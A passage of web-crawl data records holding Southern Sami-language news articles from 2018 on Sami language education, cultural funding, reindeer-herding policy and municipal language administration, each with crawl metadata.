vedtedh.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.dorotea.se\/saepmie\/saemien-reeremedajve-samiskt-foervaltningsomraade\/saemien-reeremedajve\/","date":"2018-03-19T18:18:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647044.86\/warc\/CC-MAIN-20180319175337-20180319195337-00216.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":278,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie raadijoveraajroem Elsa Laulan bïjre jåarhka\nElsa sov aehtjie jïh onnevïelle batnan onne jaevresne holkesamme. Jis edtja dah guaktah bååstede Saajvegånkeste åadtjodh, dle tjuara barkoem darjodh. Prievie akte gånkese tjaeledh.\nRaajroen bïjre\nElsa Saajve-gånkan rïjhkesne lea gieltegs jïh magihkeles heamture Elsa Laulan bïjre, gie pryövoe sov aehtjie jïh onnevïelle beerkedh, mij saajve-gånkan rïjhkesne dabranamme. Akte jaevrien nuelesne.\nElsa Laula gååvnesi\nSoptsestimmiem lea akte heamture. Bene Elsa Laula aarebi gååvnesi. Dïhte akte eadtjohke, vihkeles nyjsenæjja mij saemiej reaktaj åvteste barki, abpe sov jieliemisnie.\nSaajve-veartene\nHeamturisnie Elsa Saajve-gånkam råaka. Dïhte jïjtje rïjhkesne orre. Saajve lea aelhkemes goh parallelle veartene buerkiestidh. Akte veartene mesnie ovmessie saemien aejlies veasomh jïh voejkenh årroeh.\nSaajve pråvhkoe tjaebpies sijjie årrodh. Bene geerve lea, vearteni gaske baalkerdidh. Dïhte lij maam-akt mij barre nåejtieh meehtin. Saajve-almetjh eevre faavroes lin, jïh dej ealoeh lin veelkes.\nRïektes veartene jïh heamture plotnesjægan\nMaanaradijoven heamture Elsa Laulan bïjre ovmessie aath saemien mytologijeste plotnesje, seamma aejkesne goh bielieh Elsa Laulan rïektes jieliemistie meatan. Numhtie heamturem dovne fiktijve jïh saetnies seamma aekjesne sjædta.\nHeamturem maahta aaj åssjalommh gåaskodh guktie lea noere saemie daenbien årrodh. Seamma goh Elsa, saemien maanah tjuerieh göökte veartaninie jieledh. Saemien veartene, jïh daaroen veartene. Jïh ij dïhte iktesth dan aelhkie.\n100 jaepieh heevehtimmie\nHeamturisnie Elsa Laula dovne prievieh jïh gærjah tjaala. Dïhte rïektes veartanisnie aaj tjeeli. Dïhte aaj Elsa gie voestes saemien laantetjåanghkoem Tråantesne øørnesovvi, 1917. Heamturisnie \"Tjåanghkoe njieljie bïegki gaske\" gohtje. Dïhte tjåanghkoe tjuetie jaepieh 2017 heevehte.\nTjaelije: Johan Sandberg Mcguinne jïh Anne Wuolab\nDorjehtæjja: Máret Steinfjell\nIllustratöre: Emma Fox Sandberg\nBuektiehtæjjah: Jenny Israelsson Skoglund\nGrunden i vår journalistik är trovärdighet och opartiskhet. Sveriges Radio och SVT är oberoende i förhållande till politiska, religiösa, ekonomiska, offentliga och privata särintressen.\nVuođđu min journalistihkas lea luohtehahttivuohta ja bealátkeahtesvuohta.Ruoŧa Rádio ja Ruoŧa TV leat sorjjasmeahttumat politihkalaš, oskkolaš, ruđalaš, almmolaš ja priváhta sierraberoštumiid ektui.\nLäs mer om hur vi bedriver vårt arbete:\nLoga eanet mo mii doaimmahat bargguideamet:","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/sverigesradio.se\/sida\/artikel.aspx?programid=2327&artikel=6808416","date":"2018-04-23T00:51:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945668.34\/warc\/CC-MAIN-20180422232447-20180423012447-00577.warc.gz","language":"sma","language_score":0.9979049563,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9979049563407898}","num_words":311,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Eah maehtieh, fïerhten jaepien, beetneh-vierhtieh dåajvoehtidh jih destie ij mij læjhkan sjidth. Tjuerieh daelie maam darjodh, daam jeehti Saemien Sijten åejvie, Birgitta Fossum aerebi daan tjakten, mohte daelie Saemien sijte åadtjoeh 3,5 milliovnh kråvnah jåarke barkedh dejnie orre kultuvregåetie.\n– Ij nuekies, mohte aalkoe\nKultuvrejarngem lea 25 jaepieh vuarteme orre gåetiem darjodh jih guhkiem beetneh-vierhtieh vuarteme. Gårroeh partijjen Ola Elvestuen jeahta 3,5 milliovnh ij lea nuekies, mohte lea aalkoe.\n– Mijjieh daejrebe dah beetnegh ij lea nuekies, mohte mijjieh sijhtebe jåarke dejnie barkedh nimhte maehtieh prosjektem tjirrehtidh, Elvestuen jeahta.\nSaemien sijten direktøøre Birgitta Fossum lea madtjeles jih dam bievnese guarka nimhtie reerenassem vuejnieh ahte lea daerpies bigkedh.\nDaelie Fossum åtna veantadidh dah edtjieh staatebudsjehtem jåarke årrodh.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/3_5-milliovnh-kravnah-saemien-sijtese-1.12056994","date":"2018-05-27T10:13:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794868239.93\/warc\/CC-MAIN-20180527091644-20180527111644-00240.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":111,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ikth våhkesne akte aarhskuvlebarkije båata gie edtja David Kroiken nyøjtetjine saemiestidh. David ij tuhtjh dihte nuekies jih sæjhta nyøjteyjinie naan gille våhkoeh Snåesese vuelkedh guktie maanetje åådtje saemien byjresisnie årrodh. Menh Ubmejen tjielte ij tuhtjieh daate dej diedte.\n-- Im guarkah guktie maehtieh jiehtedh eah leah dej dïedte, gosse eah maehtieh saemien aarhskuvlem faaledh. Dellie åtnam tjïelte maahta maam akt jeatjah mijjese faaledh, David jeahta.\nUbmejen tjïelte lea saemien reeremedajve 2010 raejeste orreme. Dïhte unnebelåhkoelaake tjïeltijste kreava abpe jallh lehkie dehtie aarhskuvlefaaleldahkeste edtja saemiengïelesne årrodh jis gïeh eejhtegijstie dam birresjieh. Daelie edtja reeremereaktoe gïehtjedidh mejtie tjïelte laaken mietie barkeme. Moa Brydsen lea aarh- jïh maadthskuvlemoenehtsen åejvie Ubmejen tjïeltesne, jïh dïhte jeahta sijhtieh væjkalåbpoe sjïdtedh.\n- Daelie jienebh jienebh eejhtegh sijhtieh saemiengïelem sijjen maanide utnedh. Dah edtjieh dej gujmie rååresjidh guktie dam buektiehtidh. Moa Brydsen saarnoste dej ulmie lea saemien aarhskuvlem rïhpestidh.\nDæjmetje jaepien reeremereaktoe Lusspien tjïeltem gïehtjedi, mænngan goh såemies eejhtege dam saemien faaleldahkem klååkeme. Kulturdepartementen dïedte unnebelåhkoegïelide vaaksjodh. Dah vaestiedin tuhtjieh hijven døøpmestovle åådtje tjïelkestidh guktie edtjebe laakem lohkedh jïh guarkedh.\n– Manne hov tuhtjem daerpies laakem tjïelkestidh, guktie maehtebe saemiengïelem aarhskuvlesne krïevedh, jïh ij barre ånnetji, ij barre naan gille tæjmoeh våhkesne jallh akte viehkiebarkije dahkoe båata naan aejkien askesne mij edtja maanaj gujmie saemiestidh, David Kroik jeahta.\nMáret Steinfjell\nfirstname.lastname@example.org\nGrunden i vår journalistik är trovärdighet och opartiskhet. Sveriges Radio och SVT är oberoende i förhållande till politiska, religiösa, ekonomiska, offentliga och privata särintressen.\nVuođđu min journalistihkas lea luohtehahttivuohta ja bealátkeahtesvuohta.Ruoŧa Rádio ja Ruoŧa TV leat sorjjasmeahttumat politihkalaš, oskkolaš, ruđalaš, almmolaš ja priváhta sierraberoštumiid ektui.\nLäs mer om hur vi bedriver vårt arbete:\nLoga eanet mo mii doaimmahat bargguideamet:","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/sverigesradio.se\/sida\/artikel.aspx?programid=2327&artikel=6081482","date":"2018-06-19T09:28:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267861981.50\/warc\/CC-MAIN-20180619080121-20180619100121-00013.warc.gz","language":"sma","language_score":0.9998051524,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998051524162292}","num_words":268,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkeålmah sæjhta Staatem reesedh jih orre båatsoe-konvensjovenen bijre latjkedh. Laanteburrie jih Beabpmoe departemeente tjuara skodtestalledh barkoem jih orre båatsoe-konvensjovnen Nøørjen jih Sveerjen gaskem sjïehteladtedh.\nFylhkeålmah tjoeperdieh, mejtie båatsoe-sijth aehpesne, gåessie ij naan båatsoe- konvensjovne. Daan åvteste, daelvie gåatome-laante Nøørjesne milkeminie, gåessie eah maehtieh seamma-laakan daelvie gåatome-laantem Sveerjesne nuhtjedh. Dihte aaj dorje geervebe sjædta jih åadtjodh naan daelvie laantem Sveerjesne løønedh.\nJeatjah reaktavåarome laanti gaskem.\nNøørje nuhtjie daam båatsoe-laakem 1972 raajeste jih Sveerjesne daam båatsoelatjkem Lappekodicillen, 1751 raajeste nuhtjie. Dihte dorje jeatjah- laakan dihte reakta-øørnege sjædta dah laanti gaskem.\nTromsesne dah Sveerjen båatsoe saemieh daam konvensjovne dajvem vijriedamme jih gåatomes dajvide orrestamme. Eah sijhth daam Nøørjen båatsoelaakem jih båatsoegåatomelaakem seatadidh.\nGeervebe sjædta jih gåatome-laantide vaarjelidh.\nGåatome-dajvide vaarjelidh maahta geervebe sjidtedh gåessie ij naan gåatome-konvensjovne. Vaarjelimme:Skåakeburrie, Biegke faamoe, Tjaetjie faamoe vuestieh jih jijnje vielie. Gåatome-laante maahta dellie Nøørjesne jih Sveerjesne ånnanidh. Dihte dorje bovtse barkoe jeatjah sjædta, jienebe gåatoehtimmie.\nGieh edtjieh daejtie raaste- boerovide orrestidh jih dåvvedh?\nDaelie ij gieh sijhth dïedtem vaeltedh jih raaste boerovide Nøørjen jih Sveerjen gaskem orrestidh jih dåvvodh. Daan mearan Nøørje dihte, mij daejtie raaste boerovide davvoehtamme, olles bovtsh raasten dåaran njeajhpanieh.\nDaam dellie dah Fylhken ålmah, tjaalegisnie LMD ese tjaelieh, guktie edtjieh båatsoe-konvensjovne barkoem skodtestalledh.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.nrk.no\/sapmi\/daelie-edtjieh-laanteburrie-jih-beabpmoe-departemeentem-reesedh-1.12104360","date":"2018-06-22T19:40:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864776.82\/warc\/CC-MAIN-20180622182027-20180622202027-00197.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":197,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarborten tjïelten, tjïelteståvroe gaske-våhkoen nænnoestamme, edtja guektien gïele tjïelte sjidtedh, saemien gïelereereme dajvesne jih dihte tjïelten ståvroe laatjkes edtjieh ohtsemem Tjëlte- jih moderniseringsdepartemeentese seedtedh.\nAarborten tjïelten åvtehke Asgeir Almås geerjene tjïelteståvroe, barkoedåehkien raeriem golteli. Daelie edtjebe pryøvedh ohtsedh jih daan mænngan vuejnedh jis guektien gïelereereme dajvese baahtsebe.\n–Mijjieh libie saemien tjïelte, jih dellie aavosne daelie daam ohtsemem seedtebe jeahta Almås.\nDaate voestes aejkien, tjïelteståvroen tjåanghkoe Sijti Jarngesne.\nOhtsemem goerehtalledh.\nSaemien ministere Jan Tore Sanner, ij ennje sijhth maam dåejvoehtidh, jih guktie dah edtjieh dåemiedidh, dah tjieltieh vuestieh mah syøøkieh jih sijhtieh saemien gïelereereme dajvese tjaangedh.\n–Luste jis ïedtjh daejstie tjïeltijste gååvnesieh sijhtieh syøkedh. Daan mænngan åadtjebe goerehtalledh maam edtjebe darjodh jeahta Tjëlten jih moderniseringsministere Jan Tore Sanner.\nMinistere ij ennje maehtieh jiehtedh gåessie Aarborten tjïelte guektien gïelen tjïelte sjædta. Sanner sæjhta daam ohtsemem voestemes vuejnedh.\n–Daate lea hijvene åarjelsaemide.\nSaemidigkiepresideente Aili Keskitalo geerjene, tjïeltenståvroe nænnoestamme sijhtieh guektiengïele tjïelte sjidtedh daan gïelereereme dajvesne.\n– Daajram dah ensilaakan barkeme Aarboerten tjïeltesne. Dah leah mijjiem guessiedamme jih vuesiehtamme guktie ussjedamme, daate øøvre vihkeles sjædta daan åarjelsaemien dajvese jeahta Keskitalo.\nReeremedajvesne, daaroen jih saemien gïele seamma vihkeles. Dihte dorje gaajhkes reaktoem utnieh jih saemiengïelem nuhtjedh dah byjjes etati mietie dennie saemiengïelen reeremedajvesne.\nJienebh tjieltieh meatan.\nSaemiedigkie eevtjie jienebh tjïeltieh edtjieh sijhtieh guektien gïele tjïelte sjidtedh. Dihte vuesehte daate saemien gïele vihkeles jih dah tjïeltieh ektesne laavenjostieh.\nMeatan 2016.\nAarborten tjïelte sæjhta gïelereeremedajvese jaepien 2016 tjaangedh.","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.nrk.no\/sapmi\/aarboerten-tjielte-1.11799111","date":"2018-07-17T08:12:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589618.52\/warc\/CC-MAIN-20180717070721-20180717090721-00164.warc.gz","language":"sma","language_score":0.9999945164,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999945163726807}","num_words":228,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ut på vidda: Lïerehtimmie jïh hoksedïenesjh båatsosne\nUt på vidda akte faalenasse lïerehtimmie- jïh hoksedïenesji bïjre båatsosne. Prosjekte lea aalkoeboelhken, daelie daerpiesvoetem tjïelkesibie tjïeltine. Ulmine edtjebe daejtie dïenesjidie faalehtidh maanide, noeride, geerve jïh voeres almetjidie lïhke båetijen aejkien.\n«Prosjekte Ut på vidda»\nUt på vidda vuartesje guktie båatsoe maahta lïerehtimmie- jïh hoksedïenesjh evtiedidh jïh faalehtidh, jïh mejtie tjïelth jïh staate sijhtieh dïenesjidie åestedh.\nProsjekte golme jaepieh vaesieh jïh lea nasjonaale. Laanteburrie- jïh beapmoedepartemeente jïh Nöörjen Båatsoesaemiej Rijhkesiebrie prosjektem eekie. Saemiedigkie jïh Tjïelte- jïh orrestimmiedepartemeente leah meatan stuvremedåehkesne prosjekteaajhterigujmie ektine. Tromsen Fylhkenålma lea prosjekten aajhtere jïh tjaelemesijjie.\nUt på vidda feerhmie mijjen vïjhte båatsoefylhkh: Finnmaarhke, Tromse, Nordlaante, Noerhte-Trööndelage jïh Åarjel-Trööndelage.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.fylkesmannen.no\/Troms\/Landbruk-og-mat\/Ut-pa-vidda-Sorsamisk\/","date":"2018-10-20T07:46:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512592.60\/warc\/CC-MAIN-20181020055317-20181020080817-00152.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":109,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvlem lea akte pryövoeprosjeekte, skïereden asken raajeste, tsïengelen asken raajan, jïh dan männgan edtja nännoesovvedh mejtie staeries sjädta. Ida Ljunberg lea lohkehtäjja aarhskuvlesne, jïh dïhte tuhtjie daate eevre vïhkeles maanide.\n- Manne håhkesjem mijjieh sjïere sijjie mijjese åadtjobe, Ljungberg jeahta.\nAarhskuvlesne gaektsie maanah jïh göökte lohkehtäjjah, jïh skuvlem gaahpode göökte biejjieh våhkosne dan raajan goske maam akth jeatjah nännoesovveme.\nVaajmoem bäkta\nMalin Wilks lea akte dejstie eejtegistie mejnie mijjieh aarebi gïelefaaleldahken bïjre soptsestamme. Dïhte tuhtjie daate prosjeekte eevre hijven jïh ahte vihkeles maanide ahte åadtjode ektesne årrodh saemiestidh.\nSeamma goh Ljungberg, Wilks håhkesje aarhskuvlem staeries sjädta, jïh Wilks aaj soptseste ahte daelie joe joekehtse maanaj luvnie vuejneme jïh govleme. - Daelie sinsitnine saemiestieh, dïhte hov vaajmoem bäkta, Wilks jeahta.\nRelaterat\nGrunden i vår journalistik är trovärdighet och opartiskhet. Sveriges Radio och SVT är oberoende i förhållande till politiska, religiösa, ekonomiska, offentliga och privata särintressen.\nVuođđu min journalistihkas lea luohtehahttivuohta ja bealátkeahtesvuohta.Ruoŧa Rádio ja Ruoŧa TV leat sorjjasmeahttumat politihkalaš, oskkolaš, ruđalaš, almmolaš ja priváhta sierraberoštumiid ektui.\nLäs mer om hur vi bedriver vårt arbete:\nLoga eanet mo mii doaimmahat bargguideamet:","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/sverigesradio.se\/sida\/artikel.aspx?programid=2327&artikel=7041604","date":"2018-10-19T14:04:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512400.59\/warc\/CC-MAIN-20181019124748-20181019150248-00278.warc.gz","language":"sma","language_score":0.9950550795,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.995055079460144}","num_words":177,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Göökth biejjh våhkesne, ligan lohketäjja Sara Åström jïh learohke Mika Jonsson Gehrke gaavnesjamme, njieljieh jaepieh. Sara noerhte Sveerjesne, Johkemaehkesne jïh Mika åarjene, Stuehkesne.\n– Dïhte hov mov barkoe lohketäjjine vuekie gaavnedh mij jåhta, dihte ajve dihte, lea jeatja vuekine barkedh maajhööhpedimmien tjirrh, datovren tjirrh ean gosse manne leam klassetjiehtelisnie, bene buerie ööhpehtimmie lea buerieööhpehtimmie jallhts jis dihte lea klassetjiehtelisnie jallh datovren tjirrh, soptseste lohketäjja Sara Åström.\nLåhkoe Saemiedigkeste vuesehte ahte däjmetje åadtjoeji unnebe goh bielie dej learohkeste mah sïjhtieh saemien ööhpedimmie. Däjmetje lïj gööktetjuetieluhkienjieljie learohkh mah sïjhtieh åarjelsaemien lohkedh, barre tjuetiegovhte dejstie daab åadtjoeji, Mika Jonsson Gehrke akte dejstie.\nGuktie lea skypen baaktoe?\n– Daate gujhth eevre sïejhmie, lean darjoeme dam varki 5 jaepieh, numtieh daate munnjien eevre sïejhmie. Tuhtjem buerielaakan jåhta, soptseste Mika Jonsson Gehrke\nSaemieskovlestovre lea dan tjaktjegen aelkeme saemienmaajhööhpehtimmie tjïelteskuvlijde faaledh.\n– Mijjen ulmie lea moadtie jaepiej sisnie nahkasjidh Sveerjen saemienööhpehtimmie darbpoem gaptjedh, mijjen ulmie lea aaj ahte saemienööhpehtimmien kvalitete edtja buerie orrodh.\nSara Åström lea seamienlohketäjja dovne, maanaj-, noere- jih jåarhkeskuvlesne.\n– Learohke mij lea Stuehkesne jallh Växsjöesne jallh Abiskosne, dah maehtie åadtjoedh tjåangkanidh gaskevïermesne jïh sinsitniene soptsestidh jïh barkedh.\nGrunden i vår journalistik är trovärdighet och opartiskhet. Sveriges Radio och SVT är oberoende i förhållande till politiska, religiösa, ekonomiska, offentliga och privata särintressen.\nVuođđu min journalistihkas lea luohtehahttivuohta ja bealátkeahtesvuohta.Ruoŧa Rádio ja Ruoŧa TV leat sorjjasmeahttumat politihkalaš, oskkolaš, ruđalaš, almmolaš ja priváhta sierraberoštumiid ektui.\nLäs mer om hur vi bedriver vårt arbete:\nLoga eanet mo mii doaimmahat bargguideamet:","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/sverigesradio.se\/sida\/artikel.aspx?programid=2327&artikel=6263544","date":"2018-10-19T09:18:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512382.62\/warc\/CC-MAIN-20181019082959-20181019104459-00494.warc.gz","language":"sma","language_score":0.9991482496,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9991482496261597}","num_words":238,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Ij gåaredh åarjelsaemien ööhpehtimmiem vaeltedh\nMagga joekoen geerjene ihke åarjelsaemien lea mietiemoeresne goh ij gåessie gih, men meala Saemiedigkie jïh ööhpehtimmieinstitusjovnh eah leah vyljehke sjïehteladtedh guktie studenth nuepiem utnieh aktem elliestïjjen iktemierien studijem gïelesne vaeltedh maadthkuvsjen raejeste maasteren raajan bielelen tjoeredh tjöödtjestidh.\nJïjtje lij aavrehke jïh åadtjoeji åarjelsaemien 1 jïh 2 vaeltedh gööktine jaepine. Gosse edtji åarjelsaemien 3 vaeltedh 2012 dellie maanam åadtjoeji jïh tjoeri vuertedh. Dïhte annje vuertieminie, dan åvteste maahta gellie jaepieh vaesedh åvtelen mubpie studije aalka. Dïhte ermies dan åvteste ij gåaredh aktem ellies ööhpehtimmiem vaeltedh åarjelsaemien gïelesne gosse jïjtje sæjhta.\n– Mah numhtie åarjelsaemieh edtjieh ajve maadthfaagine fuakajidh? Gusnie siebriedahkedïedte gosse saemieh eah maehtieh jollebe ööhpehtimmiem vaeltedh juktie siebriedahken stoerre daerpiesvoetem åarjelsaemien gïelese gorredidh. Åarjelsaemien akte gïele mij tjarke sjïdteminie daelie. Dah mah åarjelsaemien luhkieh akten jollebe ööhpehtimmien tjïrrh daejrieh sijjieh barkoem åadtjoeh, men ööhpehtimmie daan biejjien ååpsen soejmetje jåhta. Akte bielietïjjen studije gusnie 30 studijepoengh låhka aktem jaepiem ij leah dan ellen bööremes. Manne sïjhtem bagkesidh akte gïele maam datne jielehteminie aktem ööhpehtimmieareenam daarpesje gusnie dovne maahtah gïelem digkiedidh jïh evtiedidh. Jis datne ajve naan gille gaavnedimmieh åadtjoeh muvhti hïelji, dellie akte raaste gååvnese man jïjnjem daajroem datne maahtah gïeleste vejtiestidh. Doh jeanatjommesh mah leah bielietïjjen studenth aaj daejrieh studijh barkoen minngesne båetieh. Mov mïelen mietie lea gaajh itjmies gosse ij akten buerebe gïeleööhpehtimmiem åvteste vielie barkh mij aktem iktemierien ööhpehtimmiegeajnoem vadta, Magga jeahta.\nTjuara barkedh dejgujmie mah skraejriem utnieh\nMagga tuhtjie vihkeles doh noerh jïh dah mah skraejriem utnieh edtjieh buerebe nuepiem åadtjodh åarjelsaemien lohkedh elliestïjjen. Guktie lea daan biejjien dle gellie noerh mah jåarhkeskuvlem illieh tjuerieh jeatjah faagh lohkedh lissine åarjelsaemien, dah mah skraejriem utnieh ajve gïelem lohkedh eah maehtieh åarjelsaemien elliestïjjen lohkedh.\n– Ovmurreds studenth eah maehtieh elliestïjjen lohkedh jïh eah maehtieh stipendh disse åadtjodh goh vuesiehtimmien gaavhtan doh studenth mah lohkehtæjjaööhpehtimmiem vaeltieh, åadtjoeh. Ij leah ajve lohkehtæjjah gïelemaahtojne mah fååtesieh, men daate maahtoe daerpies gelline barkojne jïh dan åvteste tjuara aktem tjïelke gïeleööhpehtimmiem utnedh. Mov mïelen mietie tjuara elliestïjjen studiji åvteste åarjelsaemien gïelesne eensilaakan barkedh, akte ööhpehtimmie gusnie raaktan maahtah åarjelsaemien lohkedh aalkoekuvsjeste goske maasterem jallh dåakteregraadem illh. Guktie lea daelie dle jeenjesh mah gaarvanieh. Ij leah maereles jis edtja gïelem evtiedidh, Magga jeahta.\nÖöhpehtimmie fïnkese\nSaemiedigkieraerie Mikkel Eskil Mikkelsen meala gïele vihkeles, men sæjhta fïnkesidh aktem ööhpehtimmiem buektiehtidh mij lea hijven. Ij jaehkieh dïhte åarjelsaemien gïeleööhpehtimmie lea stïeresne åvtelen luhkine jaepine.\n–Tjoerebe ööhpehtæmman smaave saemien gïeline vuartasjidh, men sæjhta fïnkesidh åvtelen aktem elliesvoetem buektiehtibie. Tjoerebe voestegh gïelevierhtieh ööhpehtidh jïh mijjieh daejrebe dïhte krïevije. Daan biejjien vaenie almetjh mah maehtieh faalenassem tjåadtjoehtidh, dan åvteste tjoerebe smaave sïllh vaeltedh jïh 10 jaepieh åvtese ussjedidh. Easkah dellie sïjhtebe aktem maasteregraadem jïh jeatjah ööhpehtimmieh utnedh mah maehtieh meatan årrodh gïelem tjåadtjoehtidh.\n– Dïhte maam Magga jeahta lea saatnan jïh mijjieh maaje limh sïjhteme vielie elliesvoetem ööhpehtimmesne utnedh, men sïjhtebe daelie pryøvedh jienebh studenth åadtjodh vueliehkåbpoe daltesasse guktie dah mænngan maehtieh meatan årrodh aktem stuerebe faalenassem tjåadtjoehtidh. Daan biejjien ibie akt bachelorem utnieh åarjelsaemien gïelesne, tjuara akte ulmie årrodh dam buektiehtidh goh minngebe sïlle, men gaatesjen dle aath fïnkesieh, Mikkelsen minngemosth jeahta.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/samimag.no\/sma\/content\/ij-gaaredh-aarjelsaemien-oohpehtimmiem-vaeltedh","date":"2018-11-18T12:50:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744368.74\/warc\/CC-MAIN-20181118114534-20181118140534-00296.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":498,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Mijjieh mïelebe mij akt tjuara dorjesovvedh juktie gorredidh mijjieh lïhkebe ulmiem båetebe akten båatsoepolitihken bïjre mij lea almetjerïekteles standaarden mietie, jïh maam båatsoejieleme jïjtje maahta leajhtadidh, Muotka jeahta.\nDan åvteste saemiedigkieraerie ij sïjhth lïhtsegh båatsoeståvrose nammoehtidh åvtelen ståvroe aaj maahta stuvresovvedh aktede dejstie ståvroelïhtsegijstie mejtie saemiedigkie nammohte. Aaj akte krïevemasse dah lïhtsegh mejtie Saemiedigkie ståvrose nammohte, edtjieh maehtedh dej bijjemes ulmiej mietie barkedh Saemiedigkien båatsoepolitihkese.\n–Saemiedigkie meala båatsoe lea akte aalkoealmetjejieleme, jïh dan åvteste eevre vihkeles daate vååjnesasse båata båatsoeståvrosne mij lea dïhte minngemes årgaane båatsoereeremen sisnjelen, mïsse dovne Saemiedigkie jïh staateles åejvieladtjh lïhtsegh nammoehtieh, Muotka jeahta.\nNænnoestehteme båatsoste\nJaepien 2012 reeremestruktuvre båatsosne jorkesi, gosse gaskem jeatjah dajveståvroeh våålese bïejesovvin. Laanteburrie- jïh beapmoedepartemeente lea gellien aejkien gïehtjedamme jïh heajhteme nænnoestimmieh bijjemes bovtsetaalen bïjre båatsoeståvrosne, jïh aaj bïhkedamme båatsoeståvroem nænnoestimmieh darjodh giehpiedimmiesoejkesji bïjre. Daah sjæjsjalimmieh leah vaaltasovveme bielelen Saemiedigkie jïh båatsoejieleme leah bïevnesh dan bïjre åådtjeme jallh rååresjamme sjïdteme.\n- Mijjieh aktem prosessem veanhtadibie juktie saemien tsevtsemefaamoem båatsoeståvrosne nænnoestehtedh, jïh vuertieminie orre ståvroelïhtsegh nammoehtidh goske dovne ståvroe jïh funksjovne lea mijjen veanhtadimmiej mietie, saemiedigkieraerie Silje Karine Muotka jeahta.\nDïhte jeahta satne ij naan fåantoem vuejnieh lïhtsegh nammoehtidh jis Saemiedigkie ij naan tjïelke tsevtsemefaamoem utnieh, jïh ståvroelïhtsegh dan gaavhtan maehtieh aktem jïjtjeraarehke råållam utnedh mandaatine Saemiedigkeste.\nSaemiedigkieraerie jeahta ulmie ij leah saemien meatannænnoestimmiem giehpiedidh jieliemisnie, men buerebh jielemem nænnoestehtedh – naakede mij aaj dorjesåvva viehkine Saemiedigkien barkoem nænnoestehtedh båatsoeaamhtesisnie. 